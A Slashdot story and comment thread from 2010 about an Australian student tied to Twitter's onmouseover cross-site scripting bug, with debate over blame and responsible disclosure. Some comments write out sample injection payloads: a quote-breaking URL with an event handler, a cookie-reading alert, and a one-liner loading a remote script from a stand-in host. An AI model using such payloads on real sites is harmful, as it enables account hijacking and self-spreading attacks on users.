Please create an account to participate in the Slashdot moderation system

 


Forgot your password?
Close
typodupeerror
×
Bug Australia IT

Aussie Student Responsible For Twitter Exploit 122

Posted by samzenpus from the little-troublemaker dept.
bennyboy64 writes "An Australian teen has caused havoc on Twitter by discovering an exploit that hit thousands of users, including Barack Obama's press secretary, and resulted in the tweets of a former British PM's wife linking to hardcore porn, The Sydney Morning Herald reports. Pearce Delphin, who is studying his last year at high school, said that he was surprised that 'so many famous people got infected.'"
This discussion has been archived. No new comments can be posted.

Aussie Student Responsible For Twitter Exploit More

Aussie Student Responsible For Twitter Exploit

Comments Filter:

  • Got a great career ahead of him (Score:3, Insightful)

    by simonbp ( 412489 ) on Wednesday September 22, 2010 @03:09PM (#33666904) Homepage

    Got a great career ahead of him, if he wants...

  • The guy who discovered the exploit, or the coding process which allowed it?

    • Re: (Score:1, Funny)

      by Anonymous Coward
      Or in keeping with your sig, Microsoft's fault for not including something like noscript to keep your browser from doing the wrong thing?

      • Re: (Score:2, Funny)

        by morgan_greywolf ( 835522 )

        Well, the exploit uses JavaScript. This means that any browser that supports JavaScript does not provide some sort of NoScript facility that's installed and turned on by default would be vulnerable to the exploit.

        Which means pretty much all of them.

        But you can't even blame the browser; the security of Twitter's site belongs solely to Twitter and their crack website development staff.

        • Re: (Score:2)

          by reiisi ( 1211052 )

          Likewise the security of Microsoft OSses.

          Microsoft should be fined an equivalent of the cost of all the unrequested commercial mail being transmitted on the internet, and should be required to pay everyone who has to delete more than twenty such mails a week for the time lost to the deletion process.

          Microsoft should be required to pay every user whose bank account has been compromised the money lost.

          And that's just for starters.

          Sure, twitter's coding is bad, but the problem is made much worse by Microsoft's

          • Re: (Score:2)

            by jxs2151 ( 554138 )
            Oh shut up. Seriously, do some research instead of just doing the trendy, Bash Microsoft thing. What a stupid turdball you are.
      • My prefs are set to keep sigs hidden, you insensitive clod!

    • Re: (Score:3, Insightful)

      by iamhassi ( 659463 )
      "The guy who discovered the exploit, or the coding process which allowed it?"

      OH I know this one!!!

      What is... the guy that discovered the exploit!

      Because see, even though you discovered that the front door was left open it doesn't give you permission to go in. See how that works? Yeah I know it's very confusing, best just to not check if doors are open unless they're doors you own.

      • Re: (Score:1)

        by tqk ( 413719 )

        Because see, even though you discovered that the front door was left open it doesn't give you permission to go in.

        Agreed. However, what if that door's the Security Entrance for a nuclear power plant (or worse; see Cliff Stoll's "The Cuckoo's Egg")? Isn't it a good thing that people are testing these things? Their actions from then on should dictate their future. Exploit it, or report it to the auths?

        Good testers are hard to find. Free, volunteer testers should be welcomed.

        There's so much crap going on

        • Ok, so you discover the front door is open on your local Nuclear Power Plant. Do you:

          (a) Tell every man and his dog the door is open, or

          (b) Tell the operator of the power station that the door is open?

          A "tester" would go for (b). This guy went for (a).

          • Re: (Score:1)

            by tqk ( 413719 )

            I think I suggested the ethical one would try to contact the authorities. (a) is last resort, after they prove ineffectual.

  • "Responsible" (Score:5, Informative)

    by iONiUM ( 530420 ) on Wednesday September 22, 2010 @03:11PM (#33666924) Journal

    The summary kind of makes it sound like he's a kid who was looking for exploits and then used it to make a virus. This doesn't seem to be the case at all. According to the TFA he saw some people using CSS in their twitter posts, and wondered if he could use HTML/JavaScript (as I would be too). He found he could, did some experimenting, and his followers then started doing it too and it went viral (the idea), and then some malicious people found it, and went viral (the code).

    I assume no punishment is being leveraged against him, but I'm sure many will misunderstand what happened and call for it anyways. Curiosity should be encouraged.

    • Based on how it worked, it was likely using JavaScript to set CSS styles. So it's not really a far leap of logic that other JavaScript would work too (the key was that it couldn't have spaces in it).

      • The javascript was inserted with an onmouseover (that twitter conveniently put into a specific spot in the HTML). Presumably, the CSS styles were done using a style attribute. I can't say for sure, I forgot what the code for the exploit looked like.

        • Likely some CSS style that failed to realize that (despite having no spaces) not only is red"onmouseover="//javascriptgoeshere an invalid CSS colour attribute*, it’s also a security hole if you don’t ensure that it’s properly parsed by the browser as a CSS colour attribute, not an onmouseover event.

          *no idea which CSS style was being set, but I used colour as an example

          • I think you read everything I said and understand none of it. We're talking about the original CSS exploit vs. the JavaScript version. The bug was related to how Twitter parses hashtags when they are part of a URL. Only the javascript version would have used an onmouseover=" secretly inserted into the URL after a hashtag. The CSS exploit probably looked more like www.something.com/#test"style='color: red;'

        • Twitter parses links in text using a regular expression that basically looks for "http:" and reads until it hits white space, it then stuffs an <a href="{0}">{0}</a> around it. As the quote character is "not white space" the attack is your basic injection, stick in your own closing quote like this http;//foo"onmouseover="alert('bar');. The opening A tag then ends up looking like this: <a href="http;//foo"onmouseover="alert('bar');"> (I used a semicolon after t

          • Except that you're party wrong. It WAS a regular expression, but they had properly sanitized their main URL code. The problem was that a hash symbol in a URL, which is a valid part of a URL, was being converted wrong specifically by the t.co url shortener that they were starting to use combined with their hashtag regex:
             
            http:/twitter.com/test#@"onmouseover="javascript:alaert('helloworld');"/

      • Re: (Score:3, Interesting)

        by Inda ( 580031 )
        Forgive my ignorance, as I don't use Twitter, but they're supposed to be massive and they make these sorts of mistakes? It's a simple message board, no?

        We were doing this sort of crap on vBulletin boards 10 years ago. Stealing cookies, redirecting, replacing images; all for kicks. After messing about for a week, everyone got bored and we had javascript events blocked on our own board.

        • Re:"Responsible" (Score:4, Insightful)

          by ultranova ( 717540 ) on Wednesday September 22, 2010 @05:03PM (#33668540)

          Forgive my ignorance, as I don't use Twitter, but they're supposed to be massive and they make these sorts of mistakes? It's a simple message board, no?

          Twitter is a simple message board, but it's accessed with virtual machines that were never designed but just kinda happened - in other words, modern browsers. Combine that with the attitude some people still have that you need to filter - enumerate all bad things and check for them - rather than simply escape the user-input string, and it shouldn't be a surprise that these things keep on happening.

          Not that it really matters. An exploited website is like graffiti in real life: much ado about nothing.

        • What rock have you been under? Twitter are famous for total technical incompetence. They could barely keep their site up for years. People used it anyway. Sadly they are now a case study in how technical competence doesn't matter.

  • Not exactly (Score:5, Informative)

    by Shyfer ( 1875644 ) <shyfer@live.com> on Wednesday September 22, 2010 @03:11PM (#33666930)

    The article says he is the one that discovered the exploit, but he did not create the script that made 'tweets of a former British PM's wife linking to hardcore porn'. Just to clarify.

    • Re: (Score:1, Funny)

      by Anonymous Coward

      That doesn't even begin to clarify. Is he formerly British or formerly a PM? Is she formerly British or formerly his wife?

    • Too late for that - the evening papers in the UK have already run an article on him banging on about how he'd "created a virus for Japanese porn" and was "completely unrepentant for his actions". Tomorrow's knee jerk involves hanging the chaps who discovered HIV and next week we're going to decapitate all asbestos inspectors.

  • Six Degrees (Score:4, Interesting)

    by TubeSteak ( 669689 ) on Wednesday September 22, 2010 @03:11PM (#33666934) Journal

    Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.

    This is doubly true when the vector is a social networking site.

    • Re: (Score:3, Interesting)

      by Culture20 ( 968837 )

      Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.

      Does this mean that Hollywood may not have been designed to route around Kevin Bacon in the event that Global Thermonuclear War takes him out? Can a dead Kevin Bacon star in such movies as "Weekend at Bernie Junior's" or as corpse-extras to keep the connections up?

    • Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.

      But famous people are technical experts. That's why we turn to them so often for their opinion and advice on important complicated problems that overwhelm and confuse the average person. ;-)

    • Not really, the fact that they're famous and have huge bank accounts ensures that they will be hit like the rest of us. They're more likely to have some protection than the rest of us, but the pay off is a lot bigger.
    • And if you choose to play "Six Degrees of Kevin Bacon" please remember these two films:

      'Flatliners' and Oliver Stones 'JFK'

      Kevin was in both of those with some other long-time and/or prolific actors.

      Kiefer Sutherland, Julia Roberts and William Baldwin in 'Flatliners'.

      Jack Lemmon, Kevin Cosner, Walter Matthau, Vincent D'Onofrio, Joe Pesci, Gary Oldman, Sissy Spacek, Tommy Lee Jones, John Candy were all in 'JFK'.

      Hell, Fidel Castro was in some archive footagein 'JFK'. There is one degree of sep

  • Aussie Student Responsible For Twitter Exploit

    Discovering an exploit hardly makes him responsible for it. Let's put the blame where it belongs, probably either sloppy coding practices, or high pressure from clueless management to develop software quickly.

    • Re: (Score:2, Insightful)

      by Rhacman ( 1528815 )
      He's not responsible for Twitter's bad coding but I would say he acted irresponsibly by toying around with it and exposing it to the public rather than reporting it directly to Twitter staff. If a vending machine malfunctions and lets you get candy out of it without paying, it isn't the customers fault the machine malfunctioned but it doesn't make it right to take the candy or tell everyone in earshot that the machine is giving out free candy. Not saying how I would behave in that situation, just that it

      • Re:who's responsible? (Score:4, Insightful)

        by clone53421 ( 1310749 ) on Wednesday September 22, 2010 @03:34PM (#33667264) Journal

        He didn’t really fathom the extent of the exploit, though. He thought it was just a novel toy to pop up alert boxes when you moved the mouse over the tweet. (Well, he actually got the idea of trying to steal users’ session cookies, but didn’t find a way to do it within the 140-character limit.) The idea that really allowed it to go viral – posting a new tweet – was conceived by someone else.

        Hell, I’ve done similar... “oh look, the layout of the page broke after I put a special char in that form element... I wonder if I can make it alert(document.cookie) using that? (sure enough) yup...” The main difference in this case is that (a) it was a massive social networking site and (b) other people could see his experiments and come up with their own little variations on the exploit, some of which were less benign than his experiments had been...

        • Re: (Score:2, Insightful)

          by Rhacman ( 1528815 )
          Fair enough that it probably seemed harmless what he was doing, but it was still a mistake to do it even if it was only apparent in retrospect. I'm not saying crucify him, just that he does bear some portion of the responsibility however big or small.

          • Re: (Score:1)

            by tqk ( 413719 )

            An idea is not resposible for those who hold it.

          • Re: (Score:3, Informative)

            by reiisi ( 1211052 )

            Hmm.

            Do you have what we in Texas call a drivers' license?

            If you do, do you remember, in your first year or so of driving any stupid mistakes you made just because of your lack of experience?

            Do you have you own home server exposed to the 'net? Have you scanned it with the vulnerability scanners available?

            And so forth, without even trying to approach the damping effect on free speech that you are suggesting.

            • Do you have what we in Texas call a drivers' license?

              If you do, do you remember, in your first year or so of driving any stupid mistakes you made just because of your lack of experience?

              Yes, but as a new/learner driver, you don't get let off if your stupid mistake ends up killing someone.

    • Re:who's responsible? (Score:4, Insightful)

      by $RANDOMLUSER ( 804576 ) on Wednesday September 22, 2010 @03:27PM (#33667178)

      ...either sloppy coding practices, or high pressure from clueless management to develop software quickly

      Dude, that's almost always an AND, not an XOR.

    • Re: (Score:2)

      by blair1q ( 305137 )

      He's responsible for discovering that he could change the color of texts.

      He's not responsible for cross-linking to porn sites.

      And he's no doubt not the first to try it, just the first since Twitter borked their own countermeasures against such things.

    • With that kind of logic every executive working at MicroSoft should be in Jail.

    • Except he didn't even discover it. This story is basically a fabrication. He was one person in a long chain who happened to play with it after it was discovered.

      This often occurs in the australian media - any time an Australian is remotely involved in something no matter how obscure their role they run it as "An Australian Did Something And Somebody Noticed" which seems to appeal to the masses here.

  • Famous people don't use Twitter.
    Twitter makes people famous.

    Followed by the other related quote:

    There's a sucker born every minute.

  • I'd say Twitter is responsible. (Score:3, Insightful)

    by Beelzebud ( 1361137 ) on Wednesday September 22, 2010 @03:15PM (#33666994)
    It's their site, their code, and they set the rules.

  • You mean twitter is actually useful for something?

  • Virus or exploit (Score:5, Interesting)

    by stimpleton ( 732392 ) on Wednesday September 22, 2010 @03:24PM (#33667134)
    "so many famous people got infected."

    I am not a vegetarian, but I get annoyed at people that proclaim "I am vegetarian. I only eat fish, cheese, and chicken."

    Similarly, anyone who was exposed to the computer wrecking virus's of the 90's thru to 2002, know what "infection" really means. I am not a low level coder, only high level languages in a business environment, but I do wonder what some old skoolers must think when they read about a piece of HTML Javascript being described as "Infection". I am vegetarian, I will eat steak only if its well done.

    • Re: (Score:2)

      by blair1q ( 305137 )

      Actually, anyone who was exposed to Syphilis in the 18th century knows what "infection" really means, and it wasn't known as a disease of the rich for nothing.

    • As a lacto-ovo vegetarian I think dairy is ok.

    • Re: (Score:3, Informative)

      by hedwards ( 940851 )
      Actually, cheese is OK in general for vegetarians. Chicken is never OK for a genuine vegetarian, and the term for somebody that only eats meat in the form of seafood would be a Pescetarian. [wikipedia.org] But since many people are familiar with the term, a lot of them refer to themselves as vegetarian anyways.
      • Strictly speaking most cheese is not vegetarian as it contains rennet (an extract from the lining of a sheep's stomache, the removal of which is pretty much fatal). Which is why you can get vegetarian cheese. Just because many vegetarians choose to be flexible about it, especially when eating out, doesn't make it any more vegetarian than fish or oyster sauce.

  • From TFA... (Score:4, Insightful)

    by clone53421 ( 1310749 ) on Wednesday September 22, 2010 @03:26PM (#33667162) Journal

    After a "little bit of coding", he said he "managed to generate a dialog box containing the data from within the Twitter cookie file". He said "theoretically this could be used to maliciously steal users' account details".

    They make it sound difficult to alert(document.cookie)...

    But "the problem was being able to write code that can steal usernames and passwords while still remaining under Twitter's 140 character tweet limit", he said.

    Ah, so the 140-character limit is actually beneficial in some sense!

    • Re: (Score:2)

      by Ant P. ( 974313 )

      Ah, so the 140-character limit is actually beneficial in some sense!

      On most "web 2.0" sites this is counteracted by JS libraries enabling 1/2-character abbreviations for excessively powerful code, allowing attackers to squeeze in things along the lines of:
      $(this).append($('<script src=//example.com/hax.js>'))

      • Yes but there are cross-site scripting restrictions designed to limit the liability that can be generated there.

  • FTFA

    He said it was Twitter's responsibility, not his, to keep the site secure.

    That defense won't work. If you found this on say the NSA website, or Microsoft, don't you think they are gonna prosecute your ass for unauthorized use of a computer system. This would be akin to running blind sql injection on websites, and using that as a defense when you got caught.

    • Re: (Score:3, Interesting)

      by Superken7 ( 893292 )

      please read the rest of TFA, not just that sentence.

      He just discovered it but did not exploit it in a malicious way. It was others who did that. I don't think he needs any "defense" for doing an alert('uh oh');

      He probably means that its their responsibility that others abused the exploit that he did NOT write.

    • Re: (Score:3, Insightful)

      by vux984 ( 928602 )

      This would be akin to running blind sql injection on websites, and using that as a defense when you got caught.

      Little Bobby Tables strikes again. ;)

      http://xkcd.com/327/ [xkcd.com]

    • Re: (Score:2, Informative)

      by conspirator57 ( 1123519 )

      would you prefer it hadn't been found and exposed so it can be fixed?

      or would you prefer that unknown criminals were the ones exploiting it fraudulently?

      because with a latent bug like this, those are the choices.

  • Not completely patched (Score:2, Interesting)

    by wbav ( 223901 )
    I just found that in search results, twitter appears to be still affected by this bug. [youtube.com]

    The video is still processing but should be up soon.

  • Don't they check for identical messages repeating rapidly?

    • Re: (Score:1)

      by wbav ( 223901 )
      Because it would be difficult to have the javascript rewrite its self each time it posted?

      That's not to say your idea is without merit, it just isn't a complete solution.

      • Re: (Score:1)

        by atisss ( 1661313 )

        well, 140 signs are quite limiting.

        I'm not saying that it's the ultimate protection, however this should be one of basic measures to detect appearance of new bots, viruses, etc.

  • Wtf? (Score:2)

    by X.25 ( 255792 )

    "Exploit"? What, exactly, he "exploited"?

    Hey, look at an "exploit" that makes shit posts, and has no value in relation to security whatsoever.

    But yeah, he has a great career ahead of him, and he's next security wizard?

    No wonder everyone left security industry, and you're left with monkeys interested in Twitter/Facebook only...

    • Re: (Score:1, Funny)

      by Anonymous Coward
      Yeah, well, he can write a book now and every IT manager and CISO will gobble it up and adjust their entire strategy because it is written by a guy whose name they saw on the news... as long as he mentions the word "cloud" in there somewhere of course.
  • This kid did what exploit hunters do, release code to the internet knowing it can be used for criminal purposes. And if hes smart enough to be messing around with the code then he should have been smart enough to figure it will be used for bad purposes. Thats what history of releasing exploits tell me anyways. And some say its twitters fault,well its not twitter who is paying, its the exploited users that pay. I think those who have the knowledge have a mush more responsibility to NOT abuse there knowledge.

    • Re: (Score:2, Insightful)

      by HornyBastard ( 666805 )

      "This kid did what exploit hunters do, release code to the internet knowing it can be used for criminal purposes."

      According to that logic, if i stab you in the face, the guy who sold me the knife is responsible.
      This kid did not do anything wrong. All he did was let people know about the bug.

      car analogy:
      All he did was put a flyer in your window saying that if you switch on the headlights and the radio at the same time, your car will explode. He is now responsible if somebody else uses that knowledge to blow

  • He found the exploit... he didnt exploit anything. He is thusly not responsible at all. The mischievous users and twitter are the ones responsible.

  • This is exactly the kind of scenario (Score:5, Interesting)

    by Dracos ( 107777 ) on Wednesday September 22, 2010 @04:26PM (#33667968)

    This is exactly the kind of scenario I envisioned last week [slashdot.org]. This kid's intent wasn't malicious, but think of what a blackhat could do with the HTML5 ping attribute, directing many thousands of twitter users all hammering a single site (and url shortening sites go down as collateral damage) to death. It could originate from any social networking site.

    The ping attribute needs to be dropped or considered much more carefully.

  • According to this article http://translate.google.com/translate?js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&sl=da&tl=en&u=http%3A%2F%2Fpolitiken.dk%2Ftjek%2Fdigitalt%2F1065381%2Fnorsk-dreng-fik-twitter-i-knae%2F [google.com] (google translated) it was a Norwegian boy who discovered the bug. Not that it really matters, I suppose...
    • Of course it bloody well does. Aussie national pride is involved. Bloody Norwegians think they can take this one away from us they have another thing coming. *grabs beer from the fridge and pulls up a chair* . . Actually, I just noticed that the Australian is from Melbourne, so the Norwegians are welcome to it :o)

  • It's a good thing they just used onmouseover rather than onload. That would have been quite a chaotic mess.

Slashdot Top Deals

It is easier to write an incorrect program than understand a correct one.

Close